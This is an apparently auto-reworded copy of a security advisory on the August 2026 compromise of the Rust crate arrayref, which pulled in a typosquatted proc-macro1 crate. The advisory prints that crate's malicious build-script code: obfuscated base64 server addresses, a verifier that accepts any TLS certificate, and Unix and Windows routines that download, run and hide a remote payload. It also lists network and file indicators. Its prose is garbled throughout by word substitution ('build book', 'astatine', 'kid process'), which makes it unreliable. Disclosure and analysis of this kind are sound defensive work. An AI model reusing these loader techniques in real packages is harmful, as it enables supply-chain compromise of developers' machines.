Malicious Rust Crate Arrayref Runs a Build-Time Payload

Aug 20, 2026 08:23 PM - 3 weeks ago 4

Summary

On August 20, 2026, a compromised merchandise of the celebrated Rust crate arrayref appeared on crates.io. Version 0.3.10 added a dependency connected a typosquatted crate called proc-macro1, whose build book downloads and runs a distant binary while a task compiles. The codification runs astatine build time, truthful simply compiling a task that pulled the bad versions is enough to trigger it. The crates.io squad has since removed the malicious versions.

Packages involved

The genuine arrayref and append-only-vec crates are maintained by droundy, whose account appears to person been compromised. The corresponding GitHub repositories are nary longer available. github.com/droundy/arrayref, github.com/droundy/append-only-vec, and the full github.com/droundy relationship each return 404, so the upstream codification is nary longer disposable for inspection. A abstracted account, dtolney, published proc-macro1. The username intimately resembles David Tolnay’s existent dtolnay account. Its metadata forges authors = ["David Tolnay <[email protected]>"] and points repository astatine a dtolnay/proc-macro1 way that returns 404.

CrateVersionPublisherStatus
arrayref0.3.10droundy (compromised)Malicious, removed
proc-macro1all versionsdtolney (impersonation)Malicious typosquat, full crate removed
append-only-vec0.1.9droundy (compromised)Flagged by reporters, aforesaid actor
arrayref0.3.9 and earlierdroundyClean

Note that proc-macro1 is not proc-macro2. The existent crate that macro authors dangle connected is proc-macro2. The src/ of the malicious proc-macro1 is a genuine transcript of proc-macro2, truthful builds kept moving while the build book ran.

What the build book does

The payload lives successful the build book of proc-macro1 1.0.107. It stores its server reside as base64 fragments and reassembles them astatine build time, quoted successful the advisory:

1

// proc-macro1-1.0.107/build.rs (quoted successful rustsec/advisory-db#3161)

2

const SRC_URL_PARTS: &[&str] =

3

&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

4

const END_URL_PARTS: &[&str] =

5

&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Decoded, those fragments nutrient the payload big hxxps://23[.]254[.]165[.]112:9089/ and the command and power reside 23[.]254[.]165[.]112:443. The book fetches an architecture-specific binary complete a TLS relationship that accepts immoderate certificate without validation, past runs it detached from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell script and a VBScript launcher nether %TEMP% and starts them hidden, past abandons the kid process truthful the compiler does not hold for it.

How it spread

The proprietor relationship yanked the older arrayref releases 0.3.5 done 0.3.9. Yanking a crate makes Cargo people a “consider updating to a type that is not yanked” warning, which nudges developers toward the only non-yanked release, the malicious 0.3.10. The newsman who revenge the RustSec advisory noted this is really they hit it.

arrayref is wide utilized arsenic a transitive dependency. It sits heavy successful communal Rust graphs through tiny-skia, sctk-adwaita, and winit, which places it nether astir GUI activity built connected egui, eframe, and iced. The crate has astir 245 cardinal all-time downloads (244,989,384 astatine clip of writing), pinch the cleanable 0.3.9 merchandise accounting for astir 152 million. Those numbers measure how wide the crate is utilized alternatively than a count of affected builds.

Indicators of compromise

TypeIndicatorDetail
Network23.254.165.112:9089Payload big (HTTPS)
Network23.254.165.112:443C2, passed to the payload arsenic argv[1]
File (Unix)/tmp/rust-setupDownloaded executable
File (Windows)%TEMP%\rust-setup.ps1Downloaded PowerShell script
File (Windows)%TEMP%\rust-setup-launch.vbsVBScript launcher
Second-stage namesrust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0Chosen by OS and architecture

SHA256 of the removed crate artifacts:

ArtifactSHA256
arrayref 0.3.1025ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.10761198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

Part 2: Technical Analysis

Our method study covers the 2 crates down this incident, arrayref 0.3.10 and proc-macro1 1.0.107. arrayref 0.3.10 pulls successful a dependency called proc-macro1. The malicious code is successful the build book of proc-macro1, not successful arrayref itself.

The injection constituent successful arrayref

arrayref is simply a mini crate of 4 macros. Up to 0.3.9 it has nary build book and nary runtime dependencies. Version 0.3.10 keeps that macro root and adds 1 statement to the manifest:

1

[package]

2

name = "arrayref"

3

version = "0.3.10"

4

build = false

5

6

[dependencies.proc-macro1]

7

version = "1.0.107"

This [dependencies.proc-macro1] introduction is capable to present the malicious crate. The request 1.0.107 is simply a caret range, and pinch only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The crate’s ain src/lib.rs is the mean macro code, for illustration the array_ref! macro:

1

#[macro_export]

2

macro_rules! array_ref {

3

($arr:expr, $offset:expr, $len:expr) => {{

4

{

5

#[inline]

6

const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {

7

&*(slice.as_ptr() as *const [_; $len])

8

}

9

let offset = $offset;

10

let portion = &$arr[offset..offset + $len];

11

#[allow(unused_unsafe)]

12

unsafe {

13

as_array(slice)

14

}

15

}

16

}};

17

}

Nothing successful the arrayref root references proc-macro1, and it does not request to. Cargo builds every declared non-optional dependency, whether aliases not the codification uses it. So the manifest introduction alone makes Cargo fetch and build proc-macro1 whenever a task pulls successful arrayref 0.3.10, and building it runs the malicious build script.

proc-macro1 is simply a renamed transcript of proc-macro2

The src/ of proc-macro1 is proc-macro2 pinch a mechanical find-and-replace of proc-macro2 to proc-macro1. The rename reaches into archiving links and moreover copied rumor references, for example html_root_url = "https://docs.rs/proc-macro1/1.0.107" successful src/lib.rs and a github.com/dtolnay/proc-macro1/issues/235 nexus successful src/fallback.rs. Because the room codification is real proc-macro2, the crate useful arsenic a drop-in. This makes the malicious crate little noticeable during a normal build.

The package metadata forges an identity:

1

2

repository = "https://github.com/dtolnay/proc-macro1"

The email [email protected] is not David Tolnay’s, and the dtolnay/proc-macro1 repository returns 404. The suspicious quality is successful the build dependencies, which existent proc-macro2 does not have:

1

[build-dependencies.base64]

2

version = "0.22"

3

4

[build-dependencies.rustls]

5

version = "0.23"

6

features = ["ring", "std", "tls12"]

7

default-features = false

8

9

[build-dependencies.ureq]

10

version = "2"

11

features = ["tls"]

12

default-features = false

Those 3 crates springiness the build book base64 decoding, a TLS stack, and an HTTP client. These dependencies are different for a token-parsing library, and the malicious build book uses them.

The build book payload

The build book splits the server reside into base64 fragments and rebuilds it astatine compile time, so the earthy drawstring ne'er appears successful the source:

1

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

2

const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Decoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443.

The download uses a TLS customer that accepts immoderate certificate. The AcceptAll verifier returns success from each certificate and signature cheque successful the rustls ServerCertVerifier trait, truthful a self-signed certificate connected the earthy IP passes:

1

impl ServerCertVerifier for AcceptAll {

2

fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {

3

Ok(ServerCertVerified::assertion())

4

}

5

// verify_tls12_signature and verify_tls13_signature besides return occurrence unconditionally

6

}

The build book picks the binary to fetch by operating strategy and architecture. It supports four targets and aborts the build connected thing else:

1

fn link_suffix() -> &'static str {

2

match (std::env::consts::OS, std::env::consts::ARCH) {

3

("linux", "x86_64") => "rust-crate_0.1.0",

4

("windows", "x86_64") => "rust-crate_0.2.0",

5

("macos", "x86_64") => "rust-crate_0.3.0",

6

("macos", "aarch64") => "rust-crate_0.4.0",

7

(_, _) => panic!("unsupported platform"),

8

}

9

}

The download and execution tally wrong main, earlier the characteristic gross and the genuine proc-macro2 configuration logic that follows. There is nary characteristic emblem aliases situation cheque guarding it, truthful it runs connected each build connected a supported platform:

1

// proc-macro1-1.0.107/build.rs (inside main)

2

let url = src_download_url();

3

let bytes = download_bytes(&url);

4

5

match std::env::consts::OS {

6

"linux" | "macos" => run_unix_payload(bytes),

7

"windows" => run_windows_payload(bytes),

8

os => panic!("unsupported OS: {os}"),

9

}

On Unix the build book writes the bytes to /tmp/rust-setup, marks the record executable, and spawns it without waiting, passing the bid and power reside arsenic the first argument. It sends every standard watercourse to null:

1

fn run_unix_payload(bytes: Vec<u8>) {

2

let way = PathBuf::from("/tmp/rust-setup");

3

std::fs::write(&path, &bytes).expect("failed to constitute payload");

4

Command::new("chmod").args(["+x", path_str]).status().expect("failed to tally chmod");

5

Command::new(&path)

6

.arg(end_url())

7

.stdin(Stdio::null())

8

.stdout(Stdio::null())

9

.stderr(Stdio::null())

10

.spawn()

11

.expect("failed to spawn payload");

12

}

On Windows the fetched bytes are a PowerShell script. The build book writes them to %TEMP%\rust-setup.ps1 and starts them done a VBScript launcher nether wscript.exe, pinch a comment successful the root explaining why:

1

// ShellExecute via WScript escapes Cargo's occupation object; spawned children otherwise

2

// support the build book (and `cargo build`) waiting until they exit.

3

let vbs = format!(

4

r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,

5

script = script_path.display(),

6

end = end_url(),

7

);

8

// ...

9

let kid = Command::new("wscript.exe")

10

.args(["//B", "//Nologo", launcher_str])

11

.creation_flags(CREATE_NO_WINDOW)

12

.spawn()

13

.expect("failed to spawn wscript launcher");

14

std::mem::forget(child);

The launcher runs hidden and does not hold for the process. The root remark states that routing through WScript is what escapes Cargo’s occupation object, truthful PowerShell keeps moving aft the build finishes. The last std::mem::forget leaks the wscript kid grip truthful its destructor never runs. Together this detaches the payload from Cargo. This allows the payload to proceed without blocking the Cargo build.

More